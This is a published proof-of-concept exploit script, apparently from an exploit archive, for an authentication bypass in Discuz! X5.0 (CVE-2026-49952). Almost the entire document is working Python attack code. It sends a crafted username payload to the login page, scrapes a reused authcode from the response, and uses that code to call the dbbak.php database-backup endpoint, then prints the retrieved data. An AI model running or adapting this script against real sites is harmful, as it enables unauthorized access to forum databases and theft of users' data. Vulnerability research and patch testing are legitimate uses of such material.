# Exploit Title: Discuz! X5.0 - Authentication Bypass
# CVE: CVE-2026-49952
# Date: 2026-06-26
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://www.discuz.vip
# Software Link: https://www.discuz.vip
# Affected: Discuz! X5.0 (20260320 - 20260501)
# Tested on: Discuz! X5.0
# Category: WebApps
# Platform: PHP
# Exploit Type: Authentication Bypass
# CVSS: 9.1
# Description: Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse.
# Fixed in: 20260510+
# Usage:
# python3 exploit.py <target>
#
# Examples:
# python3 exploit.py http://target.com
# python3 exploit.py https://target.com --proxy http://127.0.0.1:8080
#
# Options:
# --proxy HTTP proxy
#
# Notes:
# • Tune payload if needed (e.g. admin|1|0|0)
#
# How to Use
#
# Step 1:
# Run the script against the target
#
# Step 2:
# Check if dbbak.php access is granted
import requests
import re
import sys
import argparse
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
def get_authcode(target, payload, proxy):
url = f"{target}/member.php?mod=logging&action=login&lssubmit=yes"
data = {
"username": payload,
"password": "dummy123",
"loginsubmit": "yes"
}
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15)
match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text)
if match:
return match.group(1)
match = re.search(r'([a-zA-Z0-9]{32,60})', r.text)
if match:
return match.group(1)
return None
except:
return None
def exploit_dbbak(target, authcode, proxy):
url = f"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1"
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
r = requests.get(url, proxies=proxies, verify=False, timeout=15)
print(f"[+] dbbak.php status: {r.status_code}")
if r.status_code == 200:
print("[+] Success! Access to database backup granted.")
print(r.text[:400])
else:
print("[-] Failed or access denied.")
except:
print("[-] Request failed.")
def main():
banner()
parser = argparse.ArgumentParser(description="Discuz! X5.0 CVE-2026-49952 PoC")
parser.add_argument("target", help="Target URL")
parser.add_argument("--proxy", help="HTTP proxy", default=None)
parser.add_argument("--payload", help="Oracle payload", default="admin|1|0|0")
args = parser.parse_args()
target = args.target.rstrip("/")
print(f"[*] Target: {target}")
print(f"[*] Payload: {args.payload}")
authcode = get_authcode(target, args.payload, args.proxy)
if authcode:
print(f"[+] Authcode: {authcode}")
exploit_dbbak(target, authcode, args.proxy)
else:
print("[-] Failed to get authcode.")
if __name__ == "__main__":
main()